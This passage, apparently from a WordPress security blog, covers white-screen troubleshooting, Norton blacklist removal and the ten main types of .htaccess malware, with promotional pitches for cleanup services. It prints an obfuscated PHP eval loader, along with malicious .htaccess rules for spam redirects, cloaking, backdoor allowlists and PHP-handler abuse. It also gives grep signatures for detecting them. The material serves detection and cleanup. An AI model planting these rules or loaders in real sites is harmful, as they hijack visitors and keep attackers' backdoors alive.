    eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));
    __halt_compiler();
    // [Encrypted binary data follows]

    This malware causes white screens because:

    • PHP version incompatibility: Uses deprecated functions like create_function() removed in PHP 8.0+
    • Memory exhaustion: Attempts to decode large encrypted payloads
    • Syntax errors: Corrupted copy-paste operations during infection

    Manual Malware Detection and Removal

    1. Check common infection points:

    • index.php (WordPress root)
    • wp-config.php
    • Active theme’s functions.php and header.php
    • Recently modified files in /wp-content/uploads/

    2. Look for malware signatures:

    • eval(base64_decode( — Base64 encoded malware
    • gzinflate(base64_decode( — Compressed malware
    • __halt_compiler(); — Self-extracting malware
    • Long strings of random characters in PHP files

    3. Use professional scanning:

    While manual detection catches obvious infections, sophisticated malware requires professional tools. I recommend running comprehensive scans with both Wordfence and Sucuri for complete coverage.

    For sites with persistent white screens that resist standard troubleshooting, malware cleanup may be necessary. I offer professional WordPress malware removal services with a proven track record of resolving complex infections that cause WSOD.

    Step 8: Fix File Permission Issues

    Incorrect file permissions can prevent WordPress from reading essential files, resulting in white screens. This often happens after site migrations, hosting changes, or security hardening.

    Correct WordPress File Permissions

    Standard permission structure:

    • Directories: 755 (rwxr-xr-x)
    • PHP files: 644 (rw-r–r–)
    • wp-config.php: 600 (rw——-) for security

    Fix Permissions via FTP

    1. Connect to your server via FTP
    2. Right-click on your WordPress root folder
    3. Select “File permissions” or “CHMOD”
    4. Set directories to 755, files to 644
    5. Apply changes recursively to all subdirectories

    Fix Permissions via SSH

    If you have SSH access, use these commands:

    # Set directory permissions
    find /path/to/wordpress/ -type d -exec chmod 755 {} \;
    
    # Set file permissions  
    find /path/to/wordpress/ -type f -exec chmod 644 {} \;
    
    # Secure wp-config.php
    chmod 600 wp-config.php

    For detailed guidance on WordPress file permissions and security, see my guide on fixing WordPress file permissions.

    When to Restore from Backup

    Sometimes the fastest solution is restoring from a recent backup, especially for business-critical sites where downtime costs more than troubleshooting time.

    Restore from backup if:

    • Multiple fixes haven’t resolved the issue
    • You suspect complex malware infection
    • The site was working fine within the last 24-48 hours
    • Downtime is costing money or reputation

    Before restoring:

    1. Document what you tried so far
    2. Note when the white screen first appeared
    3. Choose a backup from before the issue started
    4. Test the restoration on a staging site first if possible

    For reliable backup solutions, I recommend following my UpdraftPlus backup guide to prevent future data loss.

    Prevention: Avoiding Future White Screen Issues

    Preventing WSOD is easier than fixing it. Based on patterns I see across thousands of sites, implement these protections:

    Regular Maintenance

    • Update everything: WordPress core, plugins, themes
    • Remove unused plugins and themes: Inactive code can still cause conflicts
    • Monitor plugin compatibility: Check plugin reviews before updates
    • Use staging sites: Test updates before applying to production

    Security Measures

    • Install security plugins: Wordfence, Sucuri, or similar
    • Regular malware scans: Weekly automated security checks
    • Strong access controls: Limit admin users, use strong passwords
    • File editing restrictions: Disable file editing in wp-config.php

    Performance Optimization

    • Monitor memory usage: Identify resource-heavy plugins
    • Choose quality hosting: Avoid the cheapest hosting options
    • Optimize images and databases: Reduce server load
    • Use reliable caching: Configure caching correctly

    For comprehensive site protection strategies, see my detailed analysis of why cheap hosting makes sites vulnerable and my essential security tips every WordPress owner must know.

    When to Seek Professional Help

    Some white screen issues require expert intervention, especially when they involve:

    • Complex malware infections that resist standard cleanup
    • Server-level configuration problems beyond WordPress settings
    • Database corruption affecting core WordPress functionality
    • Custom code conflicts in heavily customized sites
    • Recurring white screens that return after fixes

    I offer professional WordPress troubleshooting and security services for cases that exceed standard DIY fixes. You can contact me directly for immediate assistance with critical WSOD issues.

    FAQ: WordPress White Screen of Death

    Why is my WordPress site showing a white screen?

    WordPress white screens occur when PHP encounters a fatal error that stops the site from loading. Common causes include plugin conflicts (60% of cases), theme issues, memory exhaustion, corrupted files, malware infections, or server configuration problems. The blank screen appears because most hosting providers hide error messages from visitors for security reasons.

    How do I fix WordPress white screen of death?

    Start by enabling WordPress debug mode in wp-config.php to see the actual error. Then systematically check: 1) Deactivate all plugins via FTP, 2) Switch to a default theme, 3) Increase PHP memory limit to 256MB, 4) Clear all caches, 5) Reinstall WordPress core files. Most white screens resolve within the first 2-3 steps.

    Can I access wp-admin if my site has a white screen?

    Sometimes. If only the frontend shows a white screen but wp-admin works, the issue is usually theme-related. If both frontend and wp-admin are blank, it’s typically a plugin conflict, memory issue, or corrupted core files. Try accessing yourdomain.com/wp-admin to test admin availability.

    What’s the difference between white screen of death and critical error?

    In WordPress 5.2+, you might see “There has been a critical error on this website” instead of a blank white screen. Both indicate the same underlying problem — a fatal PHP error — but the critical error message means WordPress’s error protection activated. The troubleshooting steps are identical for both scenarios.

    How do I fix white screen caused by memory limit?

    Increase your PHP memory limit by adding ini_set( 'memory_limit', '256M' ); to wp-config.php, or php_value memory_limit 256M to .htaccess. If you can’t edit files, contact your hosting provider. Memory-related white screens often affect sites with multiple plugins, page builders, or high traffic volumes.

    Can malware cause WordPress white screen of death?

    Yes. Malware can trigger white screens through corrupted code injection, memory exhaustion from crypto mining, or PHP version incompatibilities. Look for suspicious code like eval(base64_decode( in core files, especially index.php, wp-config.php, and theme files. Professional malware removal may be required for sophisticated infections.

    How long does it take to fix WordPress white screen?

    Simple cases (plugin conflicts, cache issues) typically resolve in 10-30 minutes. Complex issues (malware, corrupted databases, custom code conflicts) can take 1-3 hours. If you have a recent backup, restoration might be faster than troubleshooting. Most white screens (80%+) are fixed within the first hour of systematic troubleshooting.

    Should I restore from backup or troubleshoot the white screen?

    Restore from backup if: the site was working recently (24-48 hours), you suspect complex malware, multiple fixes failed, or downtime is costly. Troubleshoot manually if: you want to learn what went wrong, no recent backups exist, or you’ve made important changes since the last backup that you don’t want to lose.

    Conclusion

    The WordPress White Screen of Death looks devastating but follows predictable patterns. By systematically working through these 8 solutions — from quick cache clears to advanced malware removal — you can restore almost any crashed WordPress site.

    The key is understanding that white screens are symptoms, not diseases. Enable debugging first to see the real error, then apply the appropriate fix based on the actual cause rather than guessing.

    Remember the troubleshooting hierarchy:

    1. Quick wins: Cache clearing, plugin deactivation (fixes 70% of cases)
    2. Common issues: Theme conflicts, memory limits (fixes 20% more)
    3. Advanced problems: Corrupted files, malware, permissions (fixes remaining 10%)

    Most importantly, implement preventive measures after fixing the immediate issue. Regular updates, proper backups, security monitoring, and quality hosting prevent most white screen problems from occurring in the first place.

    If you’re dealing with a persistent white screen that resists these solutions, or you need immediate professional assistance, I offer WordPress critical error fix services with same-day resolution for urgent cases. For ongoing protection, consider implementing the security measures outlined in my comprehensive WordPress maintenance checklist.


    About the author: Md Pabel is a WordPress security specialist who has personally cleaned over 4,500 hacked WordPress sites and resolved thousands of white screen emergencies. He documents real-world WordPress troubleshooting techniques and security best practices at mdpabel.com.

  • Norton Blacklist Removal: wordpress malware infection spam norton virus removal guide

    Norton Blacklist Removal: wordpress malware infection spam norton virus removal guide

    If you are reading this, you are likely facing a website owner’s worst nightmare: your traffic has dropped, and Norton flagged my website as dangerous. Whether you see a “Caution” label or a full red warning page, being on the Norton Safe Web blacklist can destroy your reputation and SEO rankings overnight.

    Malware attacks are evolving. Hackers aren’t just breaking sites; they are injecting “spam files” that redirect your visitors to malicious websites. This triggers security filters like Norton, blocking users from accessing your content. If you are looking for a fast Norton blacklist removal solution, you are in the right place.

    In this post, we will cover the entire recovery process. We will look at how to clean the infection and, specifically, how to handle the wordpress malware infection spam files norton virus removal process using the Norton Safe Web dashboard.

    Need a Professional Norton Safe Web Fix?
    If this process seems too technical, or you need an emergency Norton blacklist cleanup, don’t risk making it worse. I offer a specialized Norton Safe Web blacklist removal service to get your site green and safe again fast. Contact me for a professional fix.

    Step 1: Cleaning the Malware Infection

    Before you can fix the Norton Safe Web warning, you must ensure the site is 100% clean. If you submit a dispute while malware is still present, your request will be rejected. This is the most common reason for a failed Norton website reputation recovery.

    For a deep dive into every single file you need to check, you can follow this ultimate guide on how to manually clean your hacked site.

    Here is the essential 4-step process to eliminate the infection immediately:

    1. Take a Complete Backup

    Do not skip this step. Even though your site is infected, you must take a full backup before you start deleting files. If something goes wrong during the cleaning process—like accidentally deleting a critical system file—you will need a restore point to get the site back online.

    • Database: Log in to your hosting panel (phpMyAdmin) and export your database.
    • Files: Use FTP or your File Manager to download a copy of your wp-content folder and your wp-config.php file.

    2. Replace WordPress Core Files

    Most WordPress malware causing Norton blacklist issues hide inside your core system files (like wp-admin or wp-includes) or disguises itself as standard WordPress files. The most effective way to clean this is to simply replace them with fresh, healthy versions.

    • Download WordPress: Go to WordPress.org and download the latest version of WordPress.
    • Extract the files: Unzip the folder on your computer.
    • Upload and Replace: Connect to your site via FTP or File Manager. You want to replace all WordPress files EXCEPT for:
      • The wp-content folder (this holds your images and themes).
      • The wp-config.php file (this holds your database connection).
    • Delete and Re-upload: It is often safer to delete the old wp-admin and wp-includes folders entirely from your server, and then upload the fresh copies you just downloaded.

    3. Scan with Wordfence

    Once the core files are clean, you need to check the remaining files (inside wp-content) and your database to ensure complete Norton site rated as unsafe fix success.

    • Install the Wordfence Security plugin.
    • Go to the Wordfence dashboard and run a scan.
    • Ensure you have “High Sensitivity” enabled in the scan settings to catch obscure “spam files” or backdoors.

    4. Remove the Malware

    Review the scan results. Wordfence will highlight:

    • Unknown files: These are often “wordpress malware infection spam files” injected by hackers.
    • Modified files: If a plugin file has been changed, Wordfence will tell you.
    • Malicious Code: It will flag specific lines of bad code.

    Proceed to Delete any confirmed malicious files and Repair any modified files. This is crucial to remove site from Norton blacklist permanently.


    Step 2: Norton Virus Removal Guide (Whitelisting Your Domain)

    Once your WordPress site is clean, the “Caution” warning will not disappear automatically. You have to manually prove to Norton that your site is safe. This section covers how to remove Norton unsafe website warning using their official tools.

    Follow this step-by-step wordpress malware infection spam norton virus removal guide to clear your reputation.

    1. Access Norton Safe Web

    First, head over to the Norton Safe Web portal to begin your Norton website blacklist fix. You will see a “Sign In” option in the top right corner. You must create a free account or sign in to proceed.

    Norton Safe Web Login for Blacklist Removal

    2. Add Your Website to the Dashboard

    Once logged in, you need to submit your website to Norton Safe Web:

    1. Click on “My Activity” in the top menu.
    2. Select “My Sites” from the dropdown menu.
    3. Click the yellow “Add Site” button on the right side of the screen.

    Add Site to Norton Dashboard

    A popup will appear asking for your site URL (e.g., https://yourwebsite.com). Enter it and click Add Site.

    Enter URL for Norton Website Review

    3. Verify Site Ownership

    Norton needs to confirm you own the domain before you can manage its rating. You will see a “Verify Your Site” popup with two methods:

    • Method 1: Add a Meta Tag
      Copy the code provided (it looks like <meta name="norton-safeweb...) and paste it into the <head> section of your website’s home page.
    • Method 2: Upload an HTML File
      Download the unique “Authentication File” provided by Norton. Upload this file to your website’s Root folder (usually public_html) using your hosting File Manager or FTP.

    Verify Website Ownership Norton

    Once you have completed one of these methods, click the Verify Now button in the popup.

    4. Submit a Dispute

    After verification, your site will appear in your dashboard list, likely showing a “Caution” or “Warning” status. This is where you finalize the Norton Web Protection blocking my website fix.

    1. Locate your site in the list.
    2. Click the three vertical dots (⋮) on the right side of your site’s row.
    3. Select “Submit Dispute” from the menu.

    Submit Dispute to Remove Norton Blacklist

    In the dispute form, simply confirm that you have cleaned the malware and taken security measures. Request a re-evaluation.

    Conclusion

    Norton usually reviews these disputes within 48 hours. Once they confirm your site is clean, the red warning will be replaced with a green “Safe” badge, and your traffic should return to normal.


    Frequently Asked Questions (FAQs) about Norton Blacklist Removal

    Why is my website blacklisted by Norton?

    Your website is likely blacklisted because Norton detected a security threat, such as a Norton phishing site warning, malware injection, or spam files. This often happens after a WordPress hack where malicious code is hidden in your core files.

    How long does Norton Safe Web review take?

    Once you submit a dispute, the Norton Safe Web review typically takes between 24 to 48 hours. You will receive an email notification once the re-evaluation is complete.

    Norton says my site is unsafe but it’s clean—what do I do?

    This is known as a false positive. If you are sure the site is clean, submit a Norton false positive malware detection fix request via the Safe Web dashboard. Clearly state in your dispute note that you have audited the code and found no issues.

    Can I hire a Norton malware blacklist removal expert?

    Yes. If you are unable to clean the malware yourself or if the Norton blocked website fix isn’t working for you, I offer a Norton Safe Web blacklist removal service to handle the technical cleanup and dispute process for you.

  • WordPress .htaccess Malware: The Complete Guide to Every Type (With Real Code Samples)

    WordPress .htaccess Malware: The Complete Guide to Every Type (With Real Code Samples)

    WordPress .htaccess malware is any malicious modification to your site’s .htaccess configuration file (or fake .htaccess files planted in subdirectories) that lets an attacker control how your server responds to requests. Real-world .htaccess malware does one of about ten specific things: blocks PHP execution to lock you out, hides backdoors behind allowlists, redirects search-engine or mobile traffic to spam sites, cloaks SEO injections, hijacks default file handlers, restricts admin access by IP, or in rare cases executes attacker-controlled PHP through cookie data. Cleaning it requires identifying which pattern hit your site, replacing the malicious file with a clean .htaccess, and — critically — finding the dropper script or backdoor that placed it there, because .htaccess malware almost always returns within hours if you skip that step.

    Quick Answer: What you need to know about WordPress .htaccess malware

    • What it is: malicious rules added to your real .htaccess, or fake .htaccess files dropped into subdirectories
    • What it does: blocks PHP, redirects traffic, cloaks spam from Google, allowlists backdoor files, or hijacks how your server handles requests
    • Why it keeps coming back: there’s almost always a dropper script (a PHP backdoor) that recreates the malicious .htaccess after deletion
    • How to actually fix it: identify the pattern, replace with a clean .htaccess, then hunt the dropper script and close the original entry point
    • What to watch for: lookalike filenames (wp-l0gin.php), FilesMatch rules you didn’t write, conditional RewriteRule directives, and .htaccess files in folders that shouldn’t have one

    If your WordPress site has started redirecting visitors to spam pages, your dashboard is throwing a 403 Forbidden error, your search rankings are suddenly polluted with Japanese or pharmaceutical keywords, or your hosting account has been flagged for malware — there’s a strong chance the .htaccess file is involved.

    In more than 4,500 hacked WordPress site cleanups since 2018, I’d estimate .htaccess manipulation appears in roughly 7 out of 10 cases. Sometimes it’s the entire attack. More often, it’s one component in a larger compromise — a multiplier that makes other malware harder to detect and remove.

    This guide is the comprehensive map of how .htaccess malware actually works. I’ll walk through every major pattern I see in the wild, show you real code samples for each, and link out to deeper case-study posts where they exist. By the end, you’ll be able to look at any .htaccess file on your server and know whether it’s clean, compromised, or somewhere in between.


    What .htaccess Actually Is (And Why Hackers Love It)

    .htaccess is a configuration file used by Apache web servers to control how the server handles requests for files in a given directory. WordPress relies on it for permalinks. Your hosting provider may use it for redirects, security headers, or compression rules. It’s a powerful, flexible tool — and that’s exactly why attackers target it.

    Here’s what makes .htaccess uniquely valuable to a hacker:

    • It runs before WordPress does. Apache reads .htaccess rules before any PHP code executes. So .htaccess-based attacks fire before your security plugin has a chance to react.
    • It applies to whole directories at once. A single rule can affect every file in a folder and every subfolder beneath it. That’s why a single infected .htaccess can lock out a whole site.
    • It’s text-based and small. Easy to inject through any vulnerability that allows file writes, easy to hide from owners who don’t know what their .htaccess should contain.
    • It’s often overlooked. Most site owners have never opened their .htaccess file. They wouldn’t recognize a malicious rule if they saw one.
    • It’s not PHP. Most malware scanners are tuned to look for malicious PHP. Suspicious Apache directives often slip through with no flags raised.

    A hacker who can write to your .htaccess can effectively reconfigure your web server. That’s a lot of power from a 200-byte text file.


    The 10 Types of WordPress .htaccess Malware I See Most Often

    Across thousands of cleanups, the malicious .htaccess patterns I encounter cluster into about ten distinct types. Each one has a different purpose, a different visual signature, and (sometimes) a different fix.

    Type 1: PHP Execution Lockout (The Admin Block)

    The attacker drops an .htaccess file inside /wp-admin/ or your site root that blocks PHP files from running:

    <FilesMatch "\.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
    Order allow,deny
    Deny from all
    </FilesMatch>

    Because your WordPress login page (wp-login.php) and admin scripts are PHP files, this rule produces a 403 Forbidden error when you try to log in. The casing variations (PhP, pHp, etc.) are deliberate — attackers cover every possible filesystem behavior to make sure the rule fires.

    A clean WordPress install does not have an .htaccess file inside /wp-admin/. If yours does, treat it as malicious until proven otherwise.

    Deeper coverage: I broke down every variant of the lockout pattern, including IP-based, user-agent, and basic-auth versions, in why a 403 Forbidden error on wp-admin could be a malicious htaccess hack.

    Type 2: Backdoor Allowlist (The Selective Block)

    A more aggressive evolution of Type 1. Instead of just blocking PHP, the attacker pairs the denial with an allowlist of their own backdoor filenames:

    <FilesMatch "\.(py|exe|phtml|php|PhP|php5|suspected)$">
    Order Allow,Deny
    Deny from all
    </FilesMatch>
    <FilesMatch "^(class-t\.api\.php|index\.php|doc\.php|hh\.php|wp-blog\.php|wp-l0gin\.php|lock360\.php)$">
    Order allow,deny
    Allow from all
    </FilesMatch>

    The allowlist contains a mix of legitimate-looking names (index.php) and obvious backdoors disguised with character substitutions or random short names (hh.php, doc.php, wp-l0gin.php with a zero, lock360.php).

    This pattern is especially common on shared hosting where the same .htaccess ends up duplicated across hundreds of folders. I documented one real example with 1,162 infected files across a single account in this Bluehost case study.

    Type 3: Search-Engine Conditional Redirect

    Probably the most damaging type from a business perspective. The rule redirects visitors only when they arrive from a search engine, leaving direct visitors and the site owner seeing a normal site:

    RewriteEngine On
    RewriteCond %{HTTP_REFERER} (google|bing|yahoo|duckduckgo) [NC]
    RewriteRule .* https://spam-target.example/landing [R=302,L]

    This is why so many owners are blindsided when they discover the infection. They visit their own site directly — it works fine. They check it from another browser — fine. But every visitor coming from Google search results is being silently redirected to a scam, casino, or pharmacy site. The first sign is usually a Google Safe Browsing flag, a drop in conversions, or a confused customer email.

    Deeper coverage: see how hackers hide redirects in htaccess and why your WordPress site is redirecting to spam.

    Type 4: Mobile-Only Traffic Hijacking

    The same redirect technique, but conditional on the user’s device:

    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} (android|iphone|ipad|mobile) [NC]
    RewriteRule .* https://malicious-mobile.example/ [R=302,L]

    Mobile visitors get redirected; desktop visitors don’t. This is brutally effective because the site owner — usually viewing the site on a desktop — never sees the issue. Customers report it. Owners assume the customer is wrong.

    Deeper coverage: the case study in finding a mobile redirect hack using access logs walks through exactly this scenario.

    Type 5: SEO Spam Cloaking (Japanese / Pharma Hack)

    A specific type of .htaccess rule used in Japanese keyword hacks and pharmaceutical SEO spam injections. The rule serves different content to Googlebot than to human visitors:

    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} (Googlebot|Bingbot) [NC]
    RewriteRule ^(.*)$ /spam-injection-handler.php?url=$1 [L]

    When Google crawls the site, it sees thousands of spam pages full of pharmaceutical or Japanese-language keywords. When a human visits any of those URLs, they see the normal site (or a redirect). The result is your domain ranking for spam terms in Google while looking clean to you.

    Deeper coverage: the complete guide to the Japanese keyword hack and how to stop pharmaceutical spam in Google.

    Type 6: IP Allowlist Backdoor

    Subtle and often misread as legitimate hardening:

    Order Deny,Allow
    Deny from all
    Allow from 203.0.113.45

    Anyone hitting wp-admin gets 403, except the attacker’s IP. To a casual visual scan, this looks like a security rule a previous developer might have added. If you see an IP allowlist in your /wp-admin/ .htaccess and you don’t recognize the IP, treat it as a backdoor — not a hardening measure.

    Type 7: Cookie-Based PHP Execution

    The rare and dangerous case where an attacker actually makes your .htaccess execute PHP. By default, .htaccess can’t run PHP — but if a server is misconfigured to treat .htaccess as a PHP file (via AddHandler or AddType abuse), an attacker can plant code like this:

    AddType application/x-httpd-php .htaccess
    <?php $c = $_COOKIE; ... include($k); ?>

    The PHP payload reads attacker-supplied cookies, reconstructs function names from them dynamically, and writes/executes a backdoor on the fly. It’s a sophisticated pattern that bypasses most signature scanners because no recognizable malicious function names appear in the file.

    Deeper coverage: cookie-based PHP backdoor in htaccess explained and the broader analysis in obfuscated PHP malware detection.

    Type 8: AddHandler / AddType Abuse

    A more general version of Type 7 — abusing handler directives so that files with innocent-looking extensions execute as PHP:

    AddType application/x-httpd-php .jpg
    AddHandler x-httpd-php .gif

    After this, an image file uploaded to wp-content/uploads/ can execute as PHP code when requested. The attacker uploads a “photo” that’s actually a backdoor. I covered the broader pattern of malware hidden in image files in how malware hides in GIF files on WordPress and can a JPG file contain malware.

    Type 9: DirectoryIndex Hijacking

    A small directive change with a massive effect:

    DirectoryIndex hack.php index.php

    This tells Apache: “when someone visits a folder, serve hack.php first if it exists.” The attacker uploads hack.php somewhere in your site and now controls what every visitor sees on that path. The original index.php still exists, untouched — which makes this hard to spot during a quick file review.

    Type 10: ErrorDocument Abuse

    The attacker redirects 404 (and sometimes 403) errors to malicious destinations:

    ErrorDocument 404 https://malicious.example/landing.html

    Every broken link on your site, every typo in a URL, every test request from a security scanner — all of it sends visitors to the attacker’s page. Because most site owners never deliberately trigger a 404 on their own site, this can run undetected for months.


    Less Common But Real .htaccess Malware Variants

    Beyond the ten main types, I occasionally see:

    • Geographic redirects using mod_geoip rules — visitors from specific countries get redirected, others don’t
    • Hotlink-protection abuse — instead of protecting your images, the rules redirect external image requests to malicious resources
    • Header injection via Header set directives — adds malicious tracking, ads, or cryptomining JavaScript via HTTP headers
    • Encoding manipulation using AddEncoding or SetEnv to alter how content is served
    • Conditional SetEnvIf rules that combine with PHP-side checks to deliver different malware to different visitors

    These aren’t rare because they don’t work — they’re rare because the easier patterns above achieve most of what attackers want without the complexity.


    How to Detect .htaccess Malware on Your Site

    Before you can clean anything, you have to find it. The detection methods I rely on, in order:

    1. Visual review of every .htaccess file on the server

    A clean WordPress install only needs .htaccess files in two places: the site root (for permalinks) and inside wp-content/uploads/ in some configurations (with a single Deny from all line on certain hosts). Anywhere else, especially in /wp-admin/, /wp-includes/, individual plugin or theme folders, or wp-content/uploads/ beyond the host’s defaults — that’s worth investigating.

    2. Find every .htaccess file at once

    Over SSH or your hosting terminal, run:

    find . -name ".htaccess" -type f

    This lists every .htaccess on the account. Compare it to what should exist. On a typical single-WordPress-install Bluehost or SiteGround account, you should see one — maybe two. Hundreds is a clear sign of recursive infection.

    3. Check modification dates

    find . -name ".htaccess" -type f -newer /tmp -printf "%T+ %p\n"

    Sort by date and look for .htaccess files that were modified recently — especially close to the time you first noticed symptoms.

    4. Pattern-grep for known malicious directives

    Common strings to grep for across all .htaccess files:

    • FilesMatch with multiple PHP casing variations
    • HTTP_REFERER with search engine names
    • HTTP_USER_AGENT with mobile device names
    • AddType or AddHandler applied to non-PHP extensions
    • RewriteRule directives pointing to external domains
    • Allow from with a single specific IP

    5. Use a security scanner — but don’t rely on it alone

    Wordfence, Sucuri, MalCare, and your hosting provider’s malware scanner can flag known patterns. They miss plenty. Treat scanner results as a starting point, not a verdict.

    For a broader malware detection workflow that covers PHP, JavaScript, and database-side infections, see how to detect WordPress malware.


    Step-by-Step .htaccess Malware Cleanup

    Once you’ve identified malicious .htaccess rules, the cleanup follows a strict order. Skipping steps is how cleanups fail.

    1. Take backups before changing anything

    Download the entire site (files + database) before deleting or modifying. Save the malicious .htaccess files separately as evidence — they often contain clues (filenames, IP addresses, redirect targets) that help you find related backdoors.

    2. Replace your root .htaccess with a clean default

    Don’t just delete it — WordPress needs the root .htaccess for permalinks. Replace the contents with:

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress

    3. Delete .htaccess files that shouldn’t exist

    Any .htaccess inside /wp-admin/, /wp-includes/, individual plugin/theme folders, or non-default subdirectories — delete them. WordPress doesn’t need them.

    4. Regenerate clean rewrite rules

    Inside WordPress: Settings → Permalinks → Save Changes. This forces WordPress to rebuild its .htaccess rules cleanly.

    5. Hunt the dropper

    This is the step that determines whether the cleanup holds. The malicious .htaccess didn’t appear by itself — a PHP script wrote it. That script is still on your server. Until you find and remove it, the malicious .htaccess will reappear within minutes to hours.

    I cover the common dropper patterns in detail in why WordPress malware keeps coming back.

    6. Audit users, cron jobs, and the database

    Hidden admin accounts, scheduled malicious cron tasks, and database-stored payloads are the second-tier persistence mechanisms. See how to find and remove hidden admin users and scanning your WordPress database for hidden malware.

    7. Rotate every credential

    WordPress admin, hosting cPanel, FTP/SFTP, the database user, and any email address that received password resets during the compromise. Also rotate WordPress security keys (the salts in wp-config.php) to invalidate active sessions.


    Why .htaccess Malware Keeps Coming Back

    If you’ve cleaned the malicious .htaccess three times in a week and it keeps reappearing, you have a persistence problem — not a cleanup problem. The most common reasons:

    • A dropper script. Usually a PHP file disguised as a plugin, theme file, or fake core file (wp-l0gin.php, doc.php, radio.php) that recreates the .htaccess on every page load or every cron tick.
    • A scheduled WordPress cron task. The infection registers itself as a recurring cron job, so even removing the dropper doesn’t help if the cron entry is still in the database.
    • Hidden admin users. If an attacker still has admin access, they re-upload everything you remove.
    • The original entry-point vulnerability. An outdated plugin, weak password, or nulled theme that lets the attacker walk back in any time they want.
    • Backdoors elsewhere in the codebase. Especially obfuscated PHP shells in uploads, plugin folders, or wp-includes. If even one of these survives cleanup, the infection reproduces.

    The cleanup is not finished when the visible symptom (the .htaccess) is gone. It’s finished when none of the persistence mechanisms above are still active.


    How to Prevent .htaccess Malware From Coming Back

    Once you’re clean, hardening prevents the next infection. The steps with the highest impact:

    • Update WordPress core, plugins, and themes promptly. Most .htaccess infections trace back to a known plugin vulnerability that had a patch available.
    • Remove nulled or pirated plugins/themes. A frighteningly high percentage ship with backdoors pre-installed — see why nulled plugins and themes are a security disaster.
    • Use strong, unique admin passwords with two-factor authentication. Both on WordPress and on your hosting cPanel.
    • Disable PHP execution in uploads/. Add a directive that blocks .php file execution inside wp-content/uploads/. This single change blocks a huge percentage of upload-based attacks.
    • Restrict file permissions. Your .htaccess file should typically be 644, your folders 755, your files 644. Anything writable by the world is a risk.
    • Run a web application firewall (WAF). Wordfence, Sucuri, Cloudflare WAF, or your host’s built-in firewall — they all reduce the attack surface significantly.
    • Monitor file changes. Get alerted whenever .htaccess changes or new PHP files appear in places they shouldn’t.
    • Keep off-host backups. Backups stored on the same server as the site can be infected along with everything else.

    For a complete hardening walkthrough, see how to secure a WordPress site and the more focused how to secure your WordPress login.


    Frequently Asked Questions About .htaccess Malware

    Can a .htaccess file itself be a virus?

    Not in the traditional sense — .htaccess is a configuration file, not an executable script. But it can issue server-level instructions that cause significant harm: blocking your access, redirecting visitors to malware, or hijacking how files are served. The file isn’t the virus. It’s the weapon a hacker uses against you.

    How do I know if my .htaccess is hacked?

    The clearest signs: visitors being redirected to spam (especially from Google), 403 Forbidden errors when you try to log in, Search Console reporting “Site hacked” warnings, antivirus tools blocking your domain, or finding .htaccess files in folders that shouldn’t have them (like /wp-admin/). Manually opening every .htaccess on your server and reading it is the fastest definitive check.

    Why does my .htaccess malware come back every time I delete it?

    Because there’s a dropper script — a malicious PHP file somewhere on your server — that recreates the malicious .htaccess automatically. You’re cleaning the symptom, not the source. Find and remove the dropper (and audit users, cron jobs, and the database for related persistence) before declaring the site clean.

    Can .htaccess malware redirect only certain visitors?

    Yes — and this is the most damaging variant for businesses. Conditional rules can redirect only visitors arriving from search engines, only mobile users, only specific countries, or only visitors using specific browsers. The site owner sees a normal site; the visitors don’t. This is why so many .htaccess infections are discovered via customer complaints rather than direct observation.

    What’s the difference between malicious .htaccess rules and legitimate ones a developer added?

    Legitimate rules are usually well-commented, follow Apache best practices, and serve a clear functional purpose (permalinks, security headers, redirects to your own pages). Malicious rules typically lack comments, contain redirect targets to unfamiliar domains, reference filenames you’ve never created, or block file types your site uses. When in doubt, ask whoever maintains the site (or audit it line by line).

    Should I just delete every .htaccess file on my account to be safe?

    No. Your root .htaccess is required for WordPress permalinks. Some plugins and hosting setups also use .htaccess files in specific subdirectories. The safe approach is to identify which files are malicious and clean those specifically, then regenerate the legitimate root file via WordPress permalinks settings.

    How quickly can .htaccess malware do damage?

    Within minutes. A search-engine redirect can start costing you traffic the moment Googlebot crawls a hijacked page. A Google Safe Browsing flag can land within hours of detection. SEO damage from cloaking attacks (Japanese hack, pharma hack) can take months to fully recover from. The cost of waiting to clean is much higher than the cost of cleaning.


    Need Expert Help With a .htaccess Malware Cleanup?

    .htaccess malware is fixable in most cases, but the cleanups that succeed are the ones where every persistence layer is removed — not just the visible symptom. Removing the malicious .htaccess without finding the dropper, the backdoor users, the cron tasks, and the original entry point is the single most common reason these infections return.

    If your WordPress site has been hit by any of the patterns covered above, your hosting account has been flagged or suspended, or you’ve already tried cleaning the .htaccess and the malware came back, this is exactly the kind of recovery I do every week. I’ve cleaned more than 4,500 hacked WordPress sites since 2018.

    Get Expert WordPress Malware Removal

  • Fix: WordPress Redirects to Spam Site on Mobile Only (Solved)

    Is your WordPress site working perfectly on desktop but redirecting to spam, gambling, or “You Won an iPhone” scams when visited on a phone?

    This is a specific type of malware known as a Conditional Mobile Redirect. It is designed to trick site owners because the hacker knows you likely update and check your site from a computer, not your phone.

    This guide will explain why this happens and providing a step-by-step fix to remove the malicious code.


    Quick Summary (Key Takeaways)

    • The Symptom: Site redirects to spam URLs only on mobile devices (iOS/Android).

    • The Cause: Malicious code checking the “User-Agent” to identify mobile visitors.

    • Most Common Hiding Spots: The .htaccess file, wp-header.php, or a rogue plugin.

    • First Step: Clear your mobile browser cache to ensure the redirect isn’t just “stuck” in your history.


    Why Is This Happening?

    Hackers inject a script into your WordPress files that checks the visitor’s User-Agent.

    • If User-Agent = Desktop: The site loads normally (so you don’t notice).

    • If User-Agent = Mobile: The script triggers a JavaScript window.location redirect to a spam network.

    Because this is a “smart” hack, standard malware scanners sometimes miss it if they scan from a desktop server simulation.


    Step-by-Step Removal Guide

    ⚠️ Prerequisite: Before touching any files, backup your website immediately using your hosting panel or a plugin like UpdraftPlus.

    1. Check Your .htaccess File (Most Common Culprit)

    The .htaccess file controls how your server handles requests. Hackers love to hide redirect rules here because it processes before the site even loads.

    1. Log in to your Hosting File Manager (cPanel) or use an FTP client (like FileZilla).

    2. Locate the .htaccess file in your root directory (usually public_html).

